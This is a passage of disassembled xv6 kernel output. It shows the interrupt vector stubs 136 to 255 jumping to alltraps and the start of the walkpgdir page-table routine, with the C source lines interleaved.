$0x87 jmp alltraps 80106112: e9 52 f6 ff ff jmp 80105769 <alltraps> 80106117 <vector136>: .globl vector136 vector136: pushl $0 80106117: 6a 00 push $0x0 pushl $136 80106119: 68 88 00 00 00 push $0x88 jmp alltraps 8010611e: e9 46 f6 ff ff jmp 80105769 <alltraps> 80106123 <vector137>: .globl vector137 vector137: pushl $0 80106123: 6a 00 push $0x0 pushl $137 80106125: 68 89 00 00 00 push $0x89 jmp alltraps 8010612a: e9 3a f6 ff ff jmp 80105769 <alltraps> 8010612f <vector138>: .globl vector138 vector138: pushl $0 8010612f: 6a 00 push $0x0 pushl $138 80106131: 68 8a 00 00 00 push $0x8a jmp alltraps 80106136: e9 2e f6 ff ff jmp 80105769 <alltraps> 8010613b <vector139>: .globl vector139 vector139: pushl $0 8010613b: 6a 00 push $0x0 pushl $139 8010613d: 68 8b 00 00 00 push $0x8b jmp alltraps 80106142: e9 22 f6 ff ff jmp 80105769 <alltraps> 80106147 <vector140>: .globl vector140 vector140: pushl $0 80106147: 6a 00 push $0x0 pushl $140 80106149: 68 8c 00 00 00 push $0x8c jmp alltraps 8010614e: e9 16 f6 ff ff jmp 80105769 <alltraps> 80106153 <vector141>: .globl vector141 vector141: pushl $0 80106153: 6a 00 push $0x0 pushl $141 80106155: 68 8d 00 00 00 push $0x8d jmp alltraps 8010615a: e9 0a f6 ff ff jmp 80105769 <alltraps> 8010615f <vector142>: .globl vector142 vector142: pushl $0 8010615f: 6a 00 push $0x0 pushl $142 80106161: 68 8e 00 00 00 push $0x8e jmp alltraps 80106166: e9 fe f5 ff ff jmp 80105769 <alltraps> 8010616b <vector143>: .globl vector143 vector143: pushl $0 8010616b: 6a 00 push $0x0 pushl $143 8010616d: 68 8f 00 00 00 push $0x8f jmp alltraps 80106172: e9 f2 f5 ff ff jmp 80105769 <alltraps> 80106177 <vector144>: .globl vector144 vector144: pushl $0 80106177: 6a 00 push $0x0 pushl $144 80106179: 68 90 00 00 00 push $0x90 jmp alltraps 8010617e: e9 e6 f5 ff ff jmp 80105769 <alltraps> 80106183 <vector145>: .globl vector145 vector145: pushl $0 80106183: 6a 00 push $0x0 pushl $145 80106185: 68 91 00 00 00 push $0x91 jmp alltraps 8010618a: e9 da f5 ff ff jmp 80105769 <alltraps> 8010618f <vector146>: .globl vector146 vector146: pushl $0 8010618f: 6a 00 push $0x0 pushl $146 80106191: 68 92 00 00 00 push $0x92 jmp alltraps 80106196: e9 ce f5 ff ff jmp 80105769 <alltraps> 8010619b <vector147>: .globl vector147 vector147: pushl $0 8010619b: 6a 00 push $0x0 pushl $147 8010619d: 68 93 00 00 00 push $0x93 jmp alltraps 801061a2: e9 c2 f5 ff ff jmp 80105769 <alltraps> 801061a7 <vector148>: .globl vector148 vector148: pushl $0 801061a7: 6a 00 push $0x0 pushl $148 801061a9: 68 94 00 00 00 push $0x94 jmp alltraps 801061ae: e9 b6 f5 ff ff jmp 80105769 <alltraps> 801061b3 <vector149>: .globl vector149 vector149: pushl $0 801061b3: 6a 00 push $0x0 pushl $149 801061b5: 68 95 00 00 00 push $0x95 jmp alltraps 801061ba: e9 aa f5 ff ff jmp 80105769 <alltraps> 801061bf <vector150>: .globl vector150 vector150: pushl $0 801061bf: 6a 00 push $0x0 pushl $150 801061c1: 68 96 00 00 00 push $0x96 jmp alltraps 801061c6: e9 9e f5 ff ff jmp 80105769 <alltraps> 801061cb <vector151>: .globl vector151 vector151: pushl $0 801061cb: 6a 00 push $0x0 pushl $151 801061cd: 68 97 00 00 00 push $0x97 jmp alltraps 801061d2: e9 92 f5 ff ff jmp 80105769 <alltraps> 801061d7 <vector152>: .globl vector152 vector152: pushl $0 801061d7: 6a 00 push $0x0 pushl $152 801061d9: 68 98 00 00 00 push $0x98 jmp alltraps 801061de: e9 86 f5 ff ff jmp 80105769 <alltraps> 801061e3 <vector153>: .globl vector153 vector153: pushl $0 801061e3: 6a 00 push $0x0 pushl $153 801061e5: 68 99 00 00 00 push $0x99 jmp alltraps 801061ea: e9 7a f5 ff ff jmp 80105769 <alltraps> 801061ef <vector154>: .globl vector154 vector154: pushl $0 801061ef: 6a 00 push $0x0 pushl $154 801061f1: 68 9a 00 00 00 push $0x9a jmp alltraps 801061f6: e9 6e f5 ff ff jmp 80105769 <alltraps> 801061fb <vector155>: .globl vector155 vector155: pushl $0 801061fb: 6a 00 push $0x0 pushl $155 801061fd: 68 9b 00 00 00 push $0x9b jmp alltraps 80106202: e9 62 f5 ff ff jmp 80105769 <alltraps> 80106207 <vector156>: .globl vector156 vector156: pushl $0 80106207: 6a 00 push $0x0 pushl $156 80106209: 68 9c 00 00 00 push $0x9c jmp alltraps 8010620e: e9 56 f5 ff ff jmp 80105769 <alltraps> 80106213 <vector157>: .globl vector157 vector157: pushl $0 80106213: 6a 00 push $0x0 pushl $157 80106215: 68 9d 00 00 00 push $0x9d jmp alltraps 8010621a: e9 4a f5 ff ff jmp 80105769 <alltraps> 8010621f <vector158>: .globl vector158 vector158: pushl $0 8010621f: 6a 00 push $0x0 pushl $158 80106221: 68 9e 00 00 00 push $0x9e jmp alltraps 80106226: e9 3e f5 ff ff jmp 80105769 <alltraps> 8010622b <vector159>: .globl vector159 vector159: pushl $0 8010622b: 6a 00 push $0x0 pushl $159 8010622d: 68 9f 00 00 00 push $0x9f jmp alltraps 80106232: e9 32 f5 ff ff jmp 80105769 <alltraps> 80106237 <vector160>: .globl vector160 vector160: pushl $0 80106237: 6a 00 push $0x0 pushl $160 80106239: 68 a0 00 00 00 push $0xa0 jmp alltraps 8010623e: e9 26 f5 ff ff jmp 80105769 <alltraps> 80106243 <vector161>: .globl vector161 vector161: pushl $0 80106243: 6a 00 push $0x0 pushl $161 80106245: 68 a1 00 00 00 push $0xa1 jmp alltraps 8010624a: e9 1a f5 ff ff jmp 80105769 <alltraps> 8010624f <vector162>: .globl vector162 vector162: pushl $0 8010624f: 6a 00 push $0x0 pushl $162 80106251: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106256: e9 0e f5 ff ff jmp 80105769 <alltraps> 8010625b <vector163>: .globl vector163 vector163: pushl $0 8010625b: 6a 00 push $0x0 pushl $163 8010625d: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106262: e9 02 f5 ff ff jmp 80105769 <alltraps> 80106267 <vector164>: .globl vector164 vector164: pushl $0 80106267: 6a 00 push $0x0 pushl $164 80106269: 68 a4 00 00 00 push $0xa4 jmp alltraps 8010626e: e9 f6 f4 ff ff jmp 80105769 <alltraps> 80106273 <vector165>: .globl vector165 vector165: pushl $0 80106273: 6a 00 push $0x0 pushl $165 80106275: 68 a5 00 00 00 push $0xa5 jmp alltraps 8010627a: e9 ea f4 ff ff jmp 80105769 <alltraps> 8010627f <vector166>: .globl vector166 vector166: pushl $0 8010627f: 6a 00 push $0x0 pushl $166 80106281: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106286: e9 de f4 ff ff jmp 80105769 <alltraps> 8010628b <vector167>: .globl vector167 vector167: pushl $0 8010628b: 6a 00 push $0x0 pushl $167 8010628d: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106292: e9 d2 f4 ff ff jmp 80105769 <alltraps> 80106297 <vector168>: .globl vector168 vector168: pushl $0 80106297: 6a 00 push $0x0 pushl $168 80106299: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010629e: e9 c6 f4 ff ff jmp 80105769 <alltraps> 801062a3 <vector169>: .globl vector169 vector169: pushl $0 801062a3: 6a 00 push $0x0 pushl $169 801062a5: 68 a9 00 00 00 push $0xa9 jmp alltraps 801062aa: e9 ba f4 ff ff jmp 80105769 <alltraps> 801062af <vector170>: .globl vector170 vector170: pushl $0 801062af: 6a 00 push $0x0 pushl $170 801062b1: 68 aa 00 00 00 push $0xaa jmp alltraps 801062b6: e9 ae f4 ff ff jmp 80105769 <alltraps> 801062bb <vector171>: .globl vector171 vector171: pushl $0 801062bb: 6a 00 push $0x0 pushl $171 801062bd: 68 ab 00 00 00 push $0xab jmp alltraps 801062c2: e9 a2 f4 ff ff jmp 80105769 <alltraps> 801062c7 <vector172>: .globl vector172 vector172: pushl $0 801062c7: 6a 00 push $0x0 pushl $172 801062c9: 68 ac 00 00 00 push $0xac jmp alltraps 801062ce: e9 96 f4 ff ff jmp 80105769 <alltraps> 801062d3 <vector173>: .globl vector173 vector173: pushl $0 801062d3: 6a 00 push $0x0 pushl $173 801062d5: 68 ad 00 00 00 push $0xad jmp alltraps 801062da: e9 8a f4 ff ff jmp 80105769 <alltraps> 801062df <vector174>: .globl vector174 vector174: pushl $0 801062df: 6a 00 push $0x0 pushl $174 801062e1: 68 ae 00 00 00 push $0xae jmp alltraps 801062e6: e9 7e f4 ff ff jmp 80105769 <alltraps> 801062eb <vector175>: .globl vector175 vector175: pushl $0 801062eb: 6a 00 push $0x0 pushl $175 801062ed: 68 af 00 00 00 push $0xaf jmp alltraps 801062f2: e9 72 f4 ff ff jmp 80105769 <alltraps> 801062f7 <vector176>: .globl vector176 vector176: pushl $0 801062f7: 6a 00 push $0x0 pushl $176 801062f9: 68 b0 00 00 00 push $0xb0 jmp alltraps 801062fe: e9 66 f4 ff ff jmp 80105769 <alltraps> 80106303 <vector177>: .globl vector177 vector177: pushl $0 80106303: 6a 00 push $0x0 pushl $177 80106305: 68 b1 00 00 00 push $0xb1 jmp alltraps 8010630a: e9 5a f4 ff ff jmp 80105769 <alltraps> 8010630f <vector178>: .globl vector178 vector178: pushl $0 8010630f: 6a 00 push $0x0 pushl $178 80106311: 68 b2 00 00 00 push $0xb2 jmp alltraps 80106316: e9 4e f4 ff ff jmp 80105769 <alltraps> 8010631b <vector179>: .globl vector179 vector179: pushl $0 8010631b: 6a 00 push $0x0 pushl $179 8010631d: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106322: e9 42 f4 ff ff jmp 80105769 <alltraps> 80106327 <vector180>: .globl vector180 vector180: pushl $0 80106327: 6a 00 push $0x0 pushl $180 80106329: 68 b4 00 00 00 push $0xb4 jmp alltraps 8010632e: e9 36 f4 ff ff jmp 80105769 <alltraps> 80106333 <vector181>: .globl vector181 vector181: pushl $0 80106333: 6a 00 push $0x0 pushl $181 80106335: 68 b5 00 00 00 push $0xb5 jmp alltraps 8010633a: e9 2a f4 ff ff jmp 80105769 <alltraps> 8010633f <vector182>: .globl vector182 vector182: pushl $0 8010633f: 6a 00 push $0x0 pushl $182 80106341: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106346: e9 1e f4 ff ff jmp 80105769 <alltraps> 8010634b <vector183>: .globl vector183 vector183: pushl $0 8010634b: 6a 00 push $0x0 pushl $183 8010634d: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106352: e9 12 f4 ff ff jmp 80105769 <alltraps> 80106357 <vector184>: .globl vector184 vector184: pushl $0 80106357: 6a 00 push $0x0 pushl $184 80106359: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010635e: e9 06 f4 ff ff jmp 80105769 <alltraps> 80106363 <vector185>: .globl vector185 vector185: pushl $0 80106363: 6a 00 push $0x0 pushl $185 80106365: 68 b9 00 00 00 push $0xb9 jmp alltraps 8010636a: e9 fa f3 ff ff jmp 80105769 <alltraps> 8010636f <vector186>: .globl vector186 vector186: pushl $0 8010636f: 6a 00 push $0x0 pushl $186 80106371: 68 ba 00 00 00 push $0xba jmp alltraps 80106376: e9 ee f3 ff ff jmp 80105769 <alltraps> 8010637b <vector187>: .globl vector187 vector187: pushl $0 8010637b: 6a 00 push $0x0 pushl $187 8010637d: 68 bb 00 00 00 push $0xbb jmp alltraps 80106382: e9 e2 f3 ff ff jmp 80105769 <alltraps> 80106387 <vector188>: .globl vector188 vector188: pushl $0 80106387: 6a 00 push $0x0 pushl $188 80106389: 68 bc 00 00 00 push $0xbc jmp alltraps 8010638e: e9 d6 f3 ff ff jmp 80105769 <alltraps> 80106393 <vector189>: .globl vector189 vector189: pushl $0 80106393: 6a 00 push $0x0 pushl $189 80106395: 68 bd 00 00 00 push $0xbd jmp alltraps 8010639a: e9 ca f3 ff ff jmp 80105769 <alltraps> 8010639f <vector190>: .globl vector190 vector190: pushl $0 8010639f: 6a 00 push $0x0 pushl $190 801063a1: 68 be 00 00 00 push $0xbe jmp alltraps 801063a6: e9 be f3 ff ff jmp 80105769 <alltraps> 801063ab <vector191>: .globl vector191 vector191: pushl $0 801063ab: 6a 00 push $0x0 pushl $191 801063ad: 68 bf 00 00 00 push $0xbf jmp alltraps 801063b2: e9 b2 f3 ff ff jmp 80105769 <alltraps> 801063b7 <vector192>: .globl vector192 vector192: pushl $0 801063b7: 6a 00 push $0x0 pushl $192 801063b9: 68 c0 00 00 00 push $0xc0 jmp alltraps 801063be: e9 a6 f3 ff ff jmp 80105769 <alltraps> 801063c3 <vector193>: .globl vector193 vector193: pushl $0 801063c3: 6a 00 push $0x0 pushl $193 801063c5: 68 c1 00 00 00 push $0xc1 jmp alltraps 801063ca: e9 9a f3 ff ff jmp 80105769 <alltraps> 801063cf <vector194>: .globl vector194 vector194: pushl $0 801063cf: 6a 00 push $0x0 pushl $194 801063d1: 68 c2 00 00 00 push $0xc2 jmp alltraps 801063d6: e9 8e f3 ff ff jmp 80105769 <alltraps> 801063db <vector195>: .globl vector195 vector195: pushl $0 801063db: 6a 00 push $0x0 pushl $195 801063dd: 68 c3 00 00 00 push $0xc3 jmp alltraps 801063e2: e9 82 f3 ff ff jmp 80105769 <alltraps> 801063e7 <vector196>: .globl vector196 vector196: pushl $0 801063e7: 6a 00 push $0x0 pushl $196 801063e9: 68 c4 00 00 00 push $0xc4 jmp alltraps 801063ee: e9 76 f3 ff ff jmp 80105769 <alltraps> 801063f3 <vector197>: .globl vector197 vector197: pushl $0 801063f3: 6a 00 push $0x0 pushl $197 801063f5: 68 c5 00 00 00 push $0xc5 jmp alltraps 801063fa: e9 6a f3 ff ff jmp 80105769 <alltraps> 801063ff <vector198>: .globl vector198 vector198: pushl $0 801063ff: 6a 00 push $0x0 pushl $198 80106401: 68 c6 00 00 00 push $0xc6 jmp alltraps 80106406: e9 5e f3 ff ff jmp 80105769 <alltraps> 8010640b <vector199>: .globl vector199 vector199: pushl $0 8010640b: 6a 00 push $0x0 pushl $199 8010640d: 68 c7 00 00 00 push $0xc7 jmp alltraps 80106412: e9 52 f3 ff ff jmp 80105769 <alltraps> 80106417 <vector200>: .globl vector200 vector200: pushl $0 80106417: 6a 00 push $0x0 pushl $200 80106419: 68 c8 00 00 00 push $0xc8 jmp alltraps 8010641e: e9 46 f3 ff ff jmp 80105769 <alltraps> 80106423 <vector201>: .globl vector201 vector201: pushl $0 80106423: 6a 00 push $0x0 pushl $201 80106425: 68 c9 00 00 00 push $0xc9 jmp alltraps 8010642a: e9 3a f3 ff ff jmp 80105769 <alltraps> 8010642f <vector202>: .globl vector202 vector202: pushl $0 8010642f: 6a 00 push $0x0 pushl $202 80106431: 68 ca 00 00 00 push $0xca jmp alltraps 80106436: e9 2e f3 ff ff jmp 80105769 <alltraps> 8010643b <vector203>: .globl vector203 vector203: pushl $0 8010643b: 6a 00 push $0x0 pushl $203 8010643d: 68 cb 00 00 00 push $0xcb jmp alltraps 80106442: e9 22 f3 ff ff jmp 80105769 <alltraps> 80106447 <vector204>: .globl vector204 vector204: pushl $0 80106447: 6a 00 push $0x0 pushl $204 80106449: 68 cc 00 00 00 push $0xcc jmp alltraps 8010644e: e9 16 f3 ff ff jmp 80105769 <alltraps> 80106453 <vector205>: .globl vector205 vector205: pushl $0 80106453: 6a 00 push $0x0 pushl $205 80106455: 68 cd 00 00 00 push $0xcd jmp alltraps 8010645a: e9 0a f3 ff ff jmp 80105769 <alltraps> 8010645f <vector206>: .globl vector206 vector206: pushl $0 8010645f: 6a 00 push $0x0 pushl $206 80106461: 68 ce 00 00 00 push $0xce jmp alltraps 80106466: e9 fe f2 ff ff jmp 80105769 <alltraps> 8010646b <vector207>: .globl vector207 vector207: pushl $0 8010646b: 6a 00 push $0x0 pushl $207 8010646d: 68 cf 00 00 00 push $0xcf jmp alltraps 80106472: e9 f2 f2 ff ff jmp 80105769 <alltraps> 80106477 <vector208>: .globl vector208 vector208: pushl $0 80106477: 6a 00 push $0x0 pushl $208 80106479: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010647e: e9 e6 f2 ff ff jmp 80105769 <alltraps> 80106483 <vector209>: .globl vector209 vector209: pushl $0 80106483: 6a 00 push $0x0 pushl $209 80106485: 68 d1 00 00 00 push $0xd1 jmp alltraps 8010648a: e9 da f2 ff ff jmp 80105769 <alltraps> 8010648f <vector210>: .globl vector210 vector210: pushl $0 8010648f: 6a 00 push $0x0 pushl $210 80106491: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106496: e9 ce f2 ff ff jmp 80105769 <alltraps> 8010649b <vector211>: .globl vector211 vector211: pushl $0 8010649b: 6a 00 push $0x0 pushl $211 8010649d: 68 d3 00 00 00 push $0xd3 jmp alltraps 801064a2: e9 c2 f2 ff ff jmp 80105769 <alltraps> 801064a7 <vector212>: .globl vector212 vector212: pushl $0 801064a7: 6a 00 push $0x0 pushl $212 801064a9: 68 d4 00 00 00 push $0xd4 jmp alltraps 801064ae: e9 b6 f2 ff ff jmp 80105769 <alltraps> 801064b3 <vector213>: .globl vector213 vector213: pushl $0 801064b3: 6a 00 push $0x0 pushl $213 801064b5: 68 d5 00 00 00 push $0xd5 jmp alltraps 801064ba: e9 aa f2 ff ff jmp 80105769 <alltraps> 801064bf <vector214>: .globl vector214 vector214: pushl $0 801064bf: 6a 00 push $0x0 pushl $214 801064c1: 68 d6 00 00 00 push $0xd6 jmp alltraps 801064c6: e9 9e f2 ff ff jmp 80105769 <alltraps> 801064cb <vector215>: .globl vector215 vector215: pushl $0 801064cb: 6a 00 push $0x0 pushl $215 801064cd: 68 d7 00 00 00 push $0xd7 jmp alltraps 801064d2: e9 92 f2 ff ff jmp 80105769 <alltraps> 801064d7 <vector216>: .globl vector216 vector216: pushl $0 801064d7: 6a 00 push $0x0 pushl $216 801064d9: 68 d8 00 00 00 push $0xd8 jmp alltraps 801064de: e9 86 f2 ff ff jmp 80105769 <alltraps> 801064e3 <vector217>: .globl vector217 vector217: pushl $0 801064e3: 6a 00 push $0x0 pushl $217 801064e5: 68 d9 00 00 00 push $0xd9 jmp alltraps 801064ea: e9 7a f2 ff ff jmp 80105769 <alltraps> 801064ef <vector218>: .globl vector218 vector218: pushl $0 801064ef: 6a 00 push $0x0 pushl $218 801064f1: 68 da 00 00 00 push $0xda jmp alltraps 801064f6: e9 6e f2 ff ff jmp 80105769 <alltraps> 801064fb <vector219>: .globl vector219 vector219: pushl $0 801064fb: 6a 00 push $0x0 pushl $219 801064fd: 68 db 00 00 00 push $0xdb jmp alltraps 80106502: e9 62 f2 ff ff jmp 80105769 <alltraps> 80106507 <vector220>: .globl vector220 vector220: pushl $0 80106507: 6a 00 push $0x0 pushl $220 80106509: 68 dc 00 00 00 push $0xdc jmp alltraps 8010650e: e9 56 f2 ff ff jmp 80105769 <alltraps> 80106513 <vector221>: .globl vector221 vector221: pushl $0 80106513: 6a 00 push $0x0 pushl $221 80106515: 68 dd 00 00 00 push $0xdd jmp alltraps 8010651a: e9 4a f2 ff ff jmp 80105769 <alltraps> 8010651f <vector222>: .globl vector222 vector222: pushl $0 8010651f: 6a 00 push $0x0 pushl $222 80106521: 68 de 00 00 00 push $0xde jmp alltraps 80106526: e9 3e f2 ff ff jmp 80105769 <alltraps> 8010652b <vector223>: .globl vector223 vector223: pushl $0 8010652b: 6a 00 push $0x0 pushl $223 8010652d: 68 df 00 00 00 push $0xdf jmp alltraps 80106532: e9 32 f2 ff ff jmp 80105769 <alltraps> 80106537 <vector224>: .globl vector224 vector224: pushl $0 80106537: 6a 00 push $0x0 pushl $224 80106539: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010653e: e9 26 f2 ff ff jmp 80105769 <alltraps> 80106543 <vector225>: .globl vector225 vector225: pushl $0 80106543: 6a 00 push $0x0 pushl $225 80106545: 68 e1 00 00 00 push $0xe1 jmp alltraps 8010654a: e9 1a f2 ff ff jmp 80105769 <alltraps> 8010654f <vector226>: .globl vector226 vector226: pushl $0 8010654f: 6a 00 push $0x0 pushl $226 80106551: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106556: e9 0e f2 ff ff jmp 80105769 <alltraps> 8010655b <vector227>: .globl vector227 vector227: pushl $0 8010655b: 6a 00 push $0x0 pushl $227 8010655d: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106562: e9 02 f2 ff ff jmp 80105769 <alltraps> 80106567 <vector228>: .globl vector228 vector228: pushl $0 80106567: 6a 00 push $0x0 pushl $228 80106569: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010656e: e9 f6 f1 ff ff jmp 80105769 <alltraps> 80106573 <vector229>: .globl vector229 vector229: pushl $0 80106573: 6a 00 push $0x0 pushl $229 80106575: 68 e5 00 00 00 push $0xe5 jmp alltraps 8010657a: e9 ea f1 ff ff jmp 80105769 <alltraps> 8010657f <vector230>: .globl vector230 vector230: pushl $0 8010657f: 6a 00 push $0x0 pushl $230 80106581: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106586: e9 de f1 ff ff jmp 80105769 <alltraps> 8010658b <vector231>: .globl vector231 vector231: pushl $0 8010658b: 6a 00 push $0x0 pushl $231 8010658d: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106592: e9 d2 f1 ff ff jmp 80105769 <alltraps> 80106597 <vector232>: .globl vector232 vector232: pushl $0 80106597: 6a 00 push $0x0 pushl $232 80106599: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010659e: e9 c6 f1 ff ff jmp 80105769 <alltraps> 801065a3 <vector233>: .globl vector233 vector233: pushl $0 801065a3: 6a 00 push $0x0 pushl $233 801065a5: 68 e9 00 00 00 push $0xe9 jmp alltraps 801065aa: e9 ba f1 ff ff jmp 80105769 <alltraps> 801065af <vector234>: .globl vector234 vector234: pushl $0 801065af: 6a 00 push $0x0 pushl $234 801065b1: 68 ea 00 00 00 push $0xea jmp alltraps 801065b6: e9 ae f1 ff ff jmp 80105769 <alltraps> 801065bb <vector235>: .globl vector235 vector235: pushl $0 801065bb: 6a 00 push $0x0 pushl $235 801065bd: 68 eb 00 00 00 push $0xeb jmp alltraps 801065c2: e9 a2 f1 ff ff jmp 80105769 <alltraps> 801065c7 <vector236>: .globl vector236 vector236: pushl $0 801065c7: 6a 00 push $0x0 pushl $236 801065c9: 68 ec 00 00 00 push $0xec jmp alltraps 801065ce: e9 96 f1 ff ff jmp 80105769 <alltraps> 801065d3 <vector237>: .globl vector237 vector237: pushl $0 801065d3: 6a 00 push $0x0 pushl $237 801065d5: 68 ed 00 00 00 push $0xed jmp alltraps 801065da: e9 8a f1 ff ff jmp 80105769 <alltraps> 801065df <vector238>: .globl vector238 vector238: pushl $0 801065df: 6a 00 push $0x0 pushl $238 801065e1: 68 ee 00 00 00 push $0xee jmp alltraps 801065e6: e9 7e f1 ff ff jmp 80105769 <alltraps> 801065eb <vector239>: .globl vector239 vector239: pushl $0 801065eb: 6a 00 push $0x0 pushl $239 801065ed: 68 ef 00 00 00 push $0xef jmp alltraps 801065f2: e9 72 f1 ff ff jmp 80105769 <alltraps> 801065f7 <vector240>: .globl vector240 vector240: pushl $0 801065f7: 6a 00 push $0x0 pushl $240 801065f9: 68 f0 00 00 00 push $0xf0 jmp alltraps 801065fe: e9 66 f1 ff ff jmp 80105769 <alltraps> 80106603 <vector241>: .globl vector241 vector241: pushl $0 80106603: 6a 00 push $0x0 pushl $241 80106605: 68 f1 00 00 00 push $0xf1 jmp alltraps 8010660a: e9 5a f1 ff ff jmp 80105769 <alltraps> 8010660f <vector242>: .globl vector242 vector242: pushl $0 8010660f: 6a 00 push $0x0 pushl $242 80106611: 68 f2 00 00 00 push $0xf2 jmp alltraps 80106616: e9 4e f1 ff ff jmp 80105769 <alltraps> 8010661b <vector243>: .globl vector243 vector243: pushl $0 8010661b: 6a 00 push $0x0 pushl $243 8010661d: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106622: e9 42 f1 ff ff jmp 80105769 <alltraps> 80106627 <vector244>: .globl vector244 vector244: pushl $0 80106627: 6a 00 push $0x0 pushl $244 80106629: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010662e: e9 36 f1 ff ff jmp 80105769 <alltraps> 80106633 <vector245>: .globl vector245 vector245: pushl $0 80106633: 6a 00 push $0x0 pushl $245 80106635: 68 f5 00 00 00 push $0xf5 jmp alltraps 8010663a: e9 2a f1 ff ff jmp 80105769 <alltraps> 8010663f <vector246>: .globl vector246 vector246: pushl $0 8010663f: 6a 00 push $0x0 pushl $246 80106641: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106646: e9 1e f1 ff ff jmp 80105769 <alltraps> 8010664b <vector247>: .globl vector247 vector247: pushl $0 8010664b: 6a 00 push $0x0 pushl $247 8010664d: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106652: e9 12 f1 ff ff jmp 80105769 <alltraps> 80106657 <vector248>: .globl vector248 vector248: pushl $0 80106657: 6a 00 push $0x0 pushl $248 80106659: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010665e: e9 06 f1 ff ff jmp 80105769 <alltraps> 80106663 <vector249>: .globl vector249 vector249: pushl $0 80106663: 6a 00 push $0x0 pushl $249 80106665: 68 f9 00 00 00 push $0xf9 jmp alltraps 8010666a: e9 fa f0 ff ff jmp 80105769 <alltraps> 8010666f <vector250>: .globl vector250 vector250: pushl $0 8010666f: 6a 00 push $0x0 pushl $250 80106671: 68 fa 00 00 00 push $0xfa jmp alltraps 80106676: e9 ee f0 ff ff jmp 80105769 <alltraps> 8010667b <vector251>: .globl vector251 vector251: pushl $0 8010667b: 6a 00 push $0x0 pushl $251 8010667d: 68 fb 00 00 00 push $0xfb jmp alltraps 80106682: e9 e2 f0 ff ff jmp 80105769 <alltraps> 80106687 <vector252>: .globl vector252 vector252: pushl $0 80106687: 6a 00 push $0x0 pushl $252 80106689: 68 fc 00 00 00 push $0xfc jmp alltraps 8010668e: e9 d6 f0 ff ff jmp 80105769 <alltraps> 80106693 <vector253>: .globl vector253 vector253: pushl $0 80106693: 6a 00 push $0x0 pushl $253 80106695: 68 fd 00 00 00 push $0xfd jmp alltraps 8010669a: e9 ca f0 ff ff jmp 80105769 <alltraps> 8010669f <vector254>: .globl vector254 vector254: pushl $0 8010669f: 6a 00 push $0x0 pushl $254 801066a1: 68 fe 00 00 00 push $0xfe jmp alltraps 801066a6: e9 be f0 ff ff jmp 80105769 <alltraps> 801066ab <vector255>: .globl vector255 vector255: pushl $0 801066ab: 6a 00 push $0x0 pushl $255 801066ad: 68 ff 00 00 00 push $0xff jmp alltraps 801066b2: e9 b2 f0 ff ff jmp 80105769 <alltraps> 801066b7: 66 90 xchg %ax,%ax 801066b9: 66 90 xchg %ax,%ax 801066bb: 66 90 xchg %ax,%ax 801066bd: 66 90 xchg %ax,%ax 801066bf: 90 nop 801066c0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801066c0: 55 push %ebp 801066c1: 89 e5 mov %esp,%ebp 801066c3: 57 push %edi 801066c4: 56 push %esi 801066c5: 53 push %ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801066c6: 89 d3 mov %edx,%ebx { 801066c8: 89 d7 mov %edx,%edi pde = &pgdir[PDX(va)]; 801066ca: c1 eb 16 shr $0x16,%ebx 801066cd: 8d 34 98 lea (%eax,%ebx,4),%esi { 801066d0: 83 ec 0c sub $0xc,%esp if(*pde & PTE_P){ 801066d3: 8b 06 mov (%esi),%eax 801066d5: a8 01 test $0x1,%al 801066d7: 74 27 je 80106700 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801066d9: 25 00 f0 ff ff and $0xfffff000,%eax 801066de: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801066e4: c1 ef 0a shr $0xa,%edi } 801066e7: 8d 65 f4 lea -0xc(%ebp),%esp return &pgtab[PTX(va)]; 801066ea: 89 fa mov %edi,%edx 801066ec: 81 e2 fc 0f 00 00 and $0xffc,%edx 801066f2: 8d 04 13 lea (%ebx,%edx,1),%eax } 801066f5: 5b pop %ebx 801066f6: 5e pop %esi 801066f7: 5f pop %edi 801066f8: 5d pop %ebp 801066f9: c3 ret 801066fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80106700: 85 c9 test %ecx,%ecx 80106702: 74 2c je 80106730 <walkpgdir+0x70> 80106704: e8 b7 bd ff ff call 801024c0 <kalloc> 80106709: 85 c0 test %eax,%eax 8010670b: 89 c3 mov %eax,%ebx 8010670d: 74 21 je 80106730 <walkpgdir+0x70> memset(pgtab, 0, PGSIZE); 8010670f: 83 ec 04 sub $0x4,%esp 80106712: 68 00 10 00 00 push $0x1000 80106717: 6a 00 push $0x0 80106719: 50 push %eax 8010671a: e8 01 de ff ff call 80104520 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 8010671f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106725: 83 c4 10 add $0x10,%esp 80106728: 83 c8 07 or $0x7,%eax 8010672b: 89 06 mov %eax,(%esi) 8010672d: eb b5 jmp 801066e4 <walkpgdir+0x24> 8010672f: 90 nop } 80106730: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106733: 31 